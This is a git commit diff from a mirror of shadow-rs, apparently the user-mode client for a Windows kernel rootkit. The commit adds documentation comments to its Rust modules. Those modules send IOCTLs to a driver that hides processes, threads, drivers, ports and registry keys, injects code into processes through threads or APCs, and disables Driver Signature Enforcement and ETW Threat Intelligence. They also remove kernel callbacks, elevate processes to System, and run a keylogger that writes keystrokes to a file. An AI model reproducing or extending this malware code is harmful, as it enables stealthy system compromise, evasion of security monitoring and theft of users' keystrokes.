mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-14 04:54:29 +01:00
docs: Adding documentation for the client
This commit is contained in:
@@ -1,9 +1,9 @@
|
||||
use {
|
||||
cli::*,
|
||||
log::*,
|
||||
log::error,
|
||||
clap::Parser,
|
||||
common::ioctls::*,
|
||||
utils::init_logger,
|
||||
clap::Parser,
|
||||
};
|
||||
use modules::{
|
||||
misc::Misc,
|
||||
@@ -134,9 +134,9 @@ fn main() {
|
||||
Commands::Port { hide, unhide, protocol, type_, port_number } => {
|
||||
let port = Port::new();
|
||||
if *hide {
|
||||
port.hide_unhide_port(PORT, *protocol, *type_, *port_number, true);
|
||||
port.hide_unhide_port(HIDE_PORT, *protocol, *type_, *port_number, true);
|
||||
} else if *unhide {
|
||||
port.hide_unhide_port(PORT, *protocol, *type_, *port_number, false);
|
||||
port.hide_unhide_port(HIDE_PORT, *protocol, *type_, *port_number, false);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -9,16 +9,32 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing callbacks through a driver interface.
|
||||
pub struct Callback {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Callback {
|
||||
/// Creates a new `Callback` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Callback`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Callback { driver_handle }
|
||||
}
|
||||
|
||||
/// Enumerates all callbacks associated with a specified callback type.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate.
|
||||
pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) {
|
||||
debug!("Attempting to open the driver for callback enumeration");
|
||||
|
||||
@@ -80,6 +96,13 @@ impl Callback {
|
||||
}
|
||||
}
|
||||
|
||||
/// Removes a callback at the specified index.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `index` - The index of the callback to remove.
|
||||
/// * `ioctl_code` - The IOCTL code for the remove operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
||||
pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
debug!("Attempting to open the driver to remove callback at index: {index}");
|
||||
|
||||
@@ -111,6 +134,13 @@ impl Callback {
|
||||
}
|
||||
}
|
||||
|
||||
/// Restores a callback at the specified index.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `index` - The index of the callback to restore.
|
||||
/// * `ioctl_code` - The IOCTL code for the restore operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
||||
pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
debug!("Attempting to open the driver to restore callback at index: {index}");
|
||||
|
||||
@@ -144,6 +174,7 @@ impl Callback {
|
||||
}
|
||||
|
||||
impl Drop for Callback {
|
||||
/// Ensures the driver handle is closed when `Callback` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
use {
|
||||
log::{error, info, debug},
|
||||
crate::utils::open_driver,
|
||||
core::mem::size_of,
|
||||
log::*,
|
||||
common::structs::{DriverInfo, TargetDriver},
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
@@ -10,16 +9,33 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing drivers through a driver interface.
|
||||
pub struct Driver {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Driver {
|
||||
/// Creates a new `Driver` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Driver`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Driver { driver_handle }
|
||||
}
|
||||
|
||||
/// Hides or unhides a driver based on its name.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `name` - The name of the driver to hide or unhide.
|
||||
/// * `enable` - `true` to hide or `false` to unhide the driver.
|
||||
pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
||||
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||
debug!("Preparing structure for: {}", name);
|
||||
@@ -51,6 +67,11 @@ impl Driver {
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerates all drivers, retrieving information about each one.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
pub fn enumerate_driver(self, ioctl_code: u32) {
|
||||
debug!("Attempting to open the driver for enumeration");
|
||||
debug!("Allocating memory for driver info");
|
||||
@@ -99,6 +120,7 @@ impl Driver {
|
||||
}
|
||||
|
||||
impl Drop for Driver {
|
||||
/// Ensures the driver handle is closed when `Driver` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
use {
|
||||
core::ffi::c_void,
|
||||
std::ptr::null_mut,
|
||||
log::{info, error, debug},
|
||||
std::{ptr::null_mut, ffi::c_void},
|
||||
common::structs::TargetInjection,
|
||||
crate::{utils::check_file, utils::open_driver},
|
||||
windows_sys::Win32::{
|
||||
@@ -10,16 +9,33 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for injecting code into processes through a driver interface.
|
||||
pub struct Injection {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Injection {
|
||||
/// Creates a new `Injection` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Injection`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Injection { driver_handle }
|
||||
}
|
||||
|
||||
/// Injects code into a process's thread specified by `pid` using a file at `path`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the thread injection operation.
|
||||
/// * `pid` - A reference to the PID of the target process.
|
||||
/// * `path` - The file path of the code to inject.
|
||||
pub fn injection_thread(self, ioctl_code: u32, pid: &u32, path: &String) {
|
||||
info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||
|
||||
@@ -58,6 +74,13 @@ impl Injection {
|
||||
}
|
||||
}
|
||||
|
||||
/// Injects code into a process using an Asynchronous Procedure Call (APC) specified by `pid` and `path`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the APC injection operation.
|
||||
/// * `pid` - A reference to the PID of the target process.
|
||||
/// * `path` - The file path of the code to inject.
|
||||
pub fn injection_apc(self, ioctl_code: u32, pid: &u32, path: &String) {
|
||||
debug!("Starting APC injection for PID: {pid}, using file: {path}");
|
||||
|
||||
@@ -98,6 +121,7 @@ impl Injection {
|
||||
}
|
||||
|
||||
impl Drop for Injection {
|
||||
/// Ensures the driver handle is closed when `Injection` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -2,12 +2,13 @@ use {
|
||||
log::{info, debug, error},
|
||||
common::structs::{DSE, ETWTI},
|
||||
crate::utils::{
|
||||
vk_to_char, update_key_state, key_pressed,
|
||||
get_process_by_name, open_driver,
|
||||
vk_to_char, update_key_state, key_pressed,
|
||||
},
|
||||
std::{
|
||||
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
|
||||
mem::size_of, ptr::null_mut, time::Duration
|
||||
ffi::c_void, fs::OpenOptions,
|
||||
ptr::null_mut, time::Duration,
|
||||
io::{BufWriter, Write}, mem::size_of,
|
||||
},
|
||||
windows_sys::Win32::{
|
||||
System::{
|
||||
@@ -16,27 +17,44 @@ use {
|
||||
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
|
||||
},
|
||||
Foundation::{
|
||||
INVALID_HANDLE_VALUE, CloseHandle,
|
||||
GetLastError, HANDLE,
|
||||
INVALID_HANDLE_VALUE, CloseHandle,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
/// Key states.
|
||||
/// Key states for keylogging functionality.
|
||||
pub static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||
|
||||
/// Provides miscellaneous system functionalities through a driver interface, such as
|
||||
/// Driver Signature Enforcement (DSE) toggling, ETWTI management, and keylogging.
|
||||
pub struct Misc {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Misc {
|
||||
/// Creates a new `Misc` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Misc`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Misc { driver_handle }
|
||||
}
|
||||
|
||||
/// Enables or disables Driver Signature Enforcement (DSE).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the DSE operation.
|
||||
/// * `enable` - `true` to enable DSE or `false` to disable it.
|
||||
pub fn dse(self, ioctl_code: u32, enable: bool) {
|
||||
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut info_dse = DSE { enable };
|
||||
@@ -63,6 +81,12 @@ impl Misc {
|
||||
}
|
||||
}
|
||||
|
||||
/// Activates a keylogger that records keystrokes to a specified file.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for initializing keylogging.
|
||||
/// * `file` - The path to the file where keystrokes will be recorded.
|
||||
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
||||
unsafe {
|
||||
let mut address: usize = 0;
|
||||
@@ -120,6 +144,12 @@ impl Misc {
|
||||
}
|
||||
}
|
||||
|
||||
/// Enables or disables Event Tracing for Windows Threat Intelligence (ETWTI).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the ETWTI operation.
|
||||
/// * `enable` - `true` to enable ETWTI or `false` to disable it.
|
||||
pub fn etwti(self, ioctl_code: u32, enable: bool) {
|
||||
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut etwti = ETWTI { enable };
|
||||
@@ -148,6 +178,7 @@ impl Misc {
|
||||
}
|
||||
|
||||
impl Drop for Misc {
|
||||
/// Ensures the driver handle is closed when `Misc` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
use {
|
||||
log::*,
|
||||
log::{error, info, debug},
|
||||
crate::utils::open_driver,
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
common::structs::{ModuleInfo, TargetModule, TargetProcess},
|
||||
@@ -9,16 +9,32 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing modules within a process through a driver interface.
|
||||
pub struct Module {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Module {
|
||||
/// Creates a new `Module` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Module`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Module { driver_handle }
|
||||
}
|
||||
|
||||
/// Enumerates all modules within a specified process by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `pid` - A reference to the PID of the process whose modules will be enumerated.
|
||||
pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) {
|
||||
info!("Attempting to enumerate modules for PID: {pid}");
|
||||
|
||||
@@ -70,6 +86,13 @@ impl Module {
|
||||
}
|
||||
}
|
||||
|
||||
/// Hides a specific module within a process specified by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the hide operation.
|
||||
/// * `name` - A reference to the module name to hide.
|
||||
/// * `pid` - The PID of the process containing the module to hide.
|
||||
pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) {
|
||||
debug!("Attempting to open the module for hide operation");
|
||||
|
||||
@@ -103,6 +126,7 @@ impl Module {
|
||||
}
|
||||
|
||||
impl Drop for Module {
|
||||
/// Ensures the driver handle is closed when `Module` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -9,16 +9,35 @@ use {
|
||||
}
|
||||
};
|
||||
|
||||
/// Provides operations for managing network ports through a driver interface.
|
||||
pub struct Port {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Port {
|
||||
/// Creates a new `Port` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Port`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Port { driver_handle }
|
||||
}
|
||||
|
||||
/// Hides or unhides a specific network port.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `protocol` - The protocol type (e.g., TCP, UDP) for the port.
|
||||
/// * `port_type` - The type of port (e.g., LOCAL, REMOTE).
|
||||
/// * `port_number` - The number of the port to hide or unhide.
|
||||
/// * `enable` - `true` to hide the port or `false` to unhide it.
|
||||
pub fn hide_unhide_port(self, ioctl_code: u32, protocol: Protocol, port_type: PortType, port_number: u16, enable: bool) {
|
||||
let mut port_info = TargetPort {
|
||||
protocol: protocol.to_shared(),
|
||||
@@ -50,6 +69,7 @@ impl Port {
|
||||
}
|
||||
|
||||
impl Drop for Port {
|
||||
/// Ensures the driver handle is closed when `Port` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,30 +1,51 @@
|
||||
use {
|
||||
log::*,
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
crate::{
|
||||
utils::{open_driver, Options},
|
||||
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
|
||||
log::{error, info, debug},
|
||||
std::{
|
||||
ffi::c_void,
|
||||
mem::size_of,
|
||||
ptr::null_mut
|
||||
},
|
||||
common::{
|
||||
vars::MAX_PID,
|
||||
structs::TargetProcess,
|
||||
},
|
||||
crate::{
|
||||
utils::{open_driver, Options},
|
||||
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
|
||||
},
|
||||
windows_sys::Win32::{
|
||||
System::IO::DeviceIoControl,
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing processes through a driver interface.
|
||||
pub struct Process {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Process {
|
||||
/// Creates a new `Process` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Process`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Process { driver_handle }
|
||||
}
|
||||
|
||||
/// Hides or unhides a Process specified by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - An optional reference to the PID (Process ID) of the Process to hide/unhide.
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process.
|
||||
pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
if let Some(pid_value) = pid {
|
||||
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
||||
@@ -55,6 +76,12 @@ impl Process {
|
||||
}
|
||||
}
|
||||
|
||||
/// Terminates a specified process by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - An optional reference to the PID of the process to terminate.
|
||||
/// * `ioctl_code` - The IOCTL code for the terminate operation.
|
||||
pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||
if let Some(pid_value) = pid {
|
||||
info!("Preparing to terminate process: {}", pid_value);
|
||||
@@ -85,6 +112,13 @@ impl Process {
|
||||
}
|
||||
}
|
||||
|
||||
/// Enables or disables protection for a process specified by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - An optional reference to the PID of the process.
|
||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
||||
/// * `enable` - `true` to enable or `false` to disable protection.
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
if let Some(pid_value) = pid {
|
||||
@@ -116,6 +150,12 @@ impl Process {
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerates all processes and retrieves information about them.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
|
||||
pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) {
|
||||
let mut info_process: [TargetProcess; MAX_PID] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = TargetProcess {
|
||||
@@ -151,6 +191,14 @@ impl Process {
|
||||
}
|
||||
}
|
||||
|
||||
/// Applies signature protection to a process specified by `pid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - An optional reference to the PID of the process.
|
||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
||||
/// * `sg` - The signature level.
|
||||
/// * `tp` - The protection type.
|
||||
pub fn signature_process(&mut self, pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) {
|
||||
if let Some(pid_value) = pid {
|
||||
info!("Preparing to apply signature protection for process: {}", pid_value);
|
||||
@@ -181,6 +229,12 @@ impl Process {
|
||||
}
|
||||
}
|
||||
|
||||
/// Elevates the privileges of a specified process to System level.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - An optional reference to the PID of the process to elevate.
|
||||
/// * `ioctl_code` - The IOCTL code for the elevation operation.
|
||||
pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||
if let Some(pid_value) = pid {
|
||||
info!("Preparing to elevate process: {}", pid_value);
|
||||
@@ -213,6 +267,7 @@ impl Process {
|
||||
}
|
||||
|
||||
impl Drop for Process {
|
||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use {
|
||||
log::{error, info, debug},
|
||||
crate::utils::open_driver,
|
||||
log::*,
|
||||
common::structs::TargetRegistry,
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
@@ -9,16 +9,34 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing the registry through a driver interface.
|
||||
pub struct Registry {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Registry {
|
||||
/// Creates a new `Registry` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Registry`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Registry { driver_handle }
|
||||
}
|
||||
|
||||
/// Enables or disables protection for a specified registry key and value.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
||||
/// * `value` - A reference to the registry value name to protect.
|
||||
/// * `key` - A reference to the registry key name to protect.
|
||||
/// * `enable` - `true` to enable protection or `false` to disable it.
|
||||
pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
info!("Attempting to open the registry for protection operation");
|
||||
|
||||
@@ -51,6 +69,14 @@ impl Registry {
|
||||
}
|
||||
}
|
||||
|
||||
/// Hides or unhides a specified registry key and value.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `value` - A reference to the registry value name to hide/unhide.
|
||||
/// * `key` - A reference to the registry key name to hide/unhide.
|
||||
/// * `enable` - `true` to hide or `false` to unhide.
|
||||
pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
info!("Attempting to open the registry for hide/unhide operation");
|
||||
|
||||
@@ -86,6 +112,7 @@ impl Registry {
|
||||
}
|
||||
|
||||
impl Drop for Registry {
|
||||
/// Ensures the driver handle is closed when `Registry` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -1,27 +1,48 @@
|
||||
use {
|
||||
log::{debug, error, info},
|
||||
crate::utils::{open_driver, Options},
|
||||
log::*,
|
||||
std::{
|
||||
ffi::c_void,
|
||||
mem::size_of,
|
||||
ptr::null_mut
|
||||
},
|
||||
common::{
|
||||
structs::TargetThread,
|
||||
vars::MAX_TID,
|
||||
},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, HANDLE},
|
||||
System::IO::DeviceIoControl
|
||||
},
|
||||
};
|
||||
|
||||
/// Provides operations for managing threads through a driver interface.
|
||||
pub struct Thread {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
|
||||
impl Thread {
|
||||
/// Creates a new `Thread` instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Thread`.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Thread { driver_handle }
|
||||
}
|
||||
|
||||
/// Hides or unhides a thread specified by `tid`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - An optional reference to the TID (Thread ID) of the thread to hide/unhide.
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread.
|
||||
pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for hide/unhide operation");
|
||||
if let Some(tid_value) = tid {
|
||||
@@ -54,6 +75,13 @@ impl Thread {
|
||||
}
|
||||
}
|
||||
|
||||
/// Protects or unprotects a thread specified by `tid` (Anti-kill and dumping protection).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - An optional reference to the TID (Thread ID) of the thread to protect/unprotect.
|
||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
||||
/// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection.
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
debug!("Attempting to open the driver for thread protection operation");
|
||||
@@ -87,6 +115,12 @@ impl Thread {
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerates all threads and retrieves information about them.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
|
||||
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
||||
debug!("Attempting to open the driver for thread enumeration");
|
||||
let mut info_thread: [TargetThread; MAX_TID] = unsafe { std::mem::zeroed() };
|
||||
@@ -126,6 +160,7 @@ impl Thread {
|
||||
}
|
||||
|
||||
impl Drop for Thread {
|
||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
|
||||
@@ -17,12 +17,11 @@ pub unsafe fn update_key_state() {
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `key`: The key code.
|
||||
/// * `key` - The key code.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||
///
|
||||
/// * `bool` - if the key was pressed, otherwise `false`.
|
||||
pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
@@ -33,12 +32,11 @@ pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `key`: The code for the virtual key.
|
||||
/// * `key` - The code for the virtual key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||
///
|
||||
/// * A string representing the character corresponding to the code of the virtual key.
|
||||
pub fn vk_to_char(key: u8) -> &'static str {
|
||||
for &(vk, char) in &VK_CHARS {
|
||||
if vk == key {
|
||||
|
||||
@@ -49,9 +49,8 @@ pub fn check_file(file: &String) -> bool {
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `Ok(HANDLE)` if the driver handle is successfully opened.
|
||||
/// - `Err(())` if there is an error.
|
||||
///
|
||||
/// * `Ok(HANDLE)` - if the driver handle is successfully opened.
|
||||
/// * `Err(())` - if there is an error.
|
||||
pub fn open_driver() -> Result<HANDLE, &'static str> {
|
||||
info!("Opening driver handle");
|
||||
|
||||
@@ -80,10 +79,7 @@ pub fn open_driver() -> Result<HANDLE, &'static str> {
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `verbose` - A `u8` representing the verbosity level.
|
||||
/// - `0` for `Info` level.
|
||||
/// - Any non-zero value for `Debug` level.
|
||||
///
|
||||
/// * `verbose` - A `u8` representing the verbosity level.
|
||||
pub fn init_logger(verbose: u8) {
|
||||
let mut builder = Builder::new();
|
||||
let log_level = match verbose {
|
||||
@@ -112,13 +108,12 @@ pub fn init_logger(verbose: u8) {
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `val` - A string slice representing the file name.
|
||||
/// * `val` - A string slice representing the file name.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `Ok(String)` if the file has a `.sys` extension.
|
||||
/// - `Err(String)` if the file does not have a `.sys` extension.
|
||||
///
|
||||
/// * `Ok(String)` - if the file has a `.sys` extension.
|
||||
/// * `Err(String)` - if the file does not have a `.sys` extension.
|
||||
pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||
if val.ends_with(".sys") {
|
||||
Ok(val.to_string())
|
||||
@@ -131,12 +126,12 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `name`: A reference to a string containing the name of the process to be searched.
|
||||
/// * `name` - A reference to a string containing the name of the process to be searched.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
|
||||
///
|
||||
/// * `Some(u32)` - Returns the PID of the process found.
|
||||
/// * `None` - if no process with the specified name is found.
|
||||
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
@@ -155,14 +150,19 @@ pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||
pub enum Callbacks {
|
||||
/// Callback for process creation notifications.
|
||||
Process,
|
||||
|
||||
/// Callback for thread creation notifications.
|
||||
Thread,
|
||||
|
||||
/// Callback for image loading notifications.
|
||||
LoadImage,
|
||||
|
||||
/// Callback for registry changes.
|
||||
Registry,
|
||||
|
||||
/// Callback for object processing.
|
||||
ObProcess,
|
||||
|
||||
/// Callback for thread object processing.
|
||||
ObThread,
|
||||
}
|
||||
@@ -172,7 +172,7 @@ impl Callbacks {
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `common::enums::Callbacks` variant corresponding to the selected callback.
|
||||
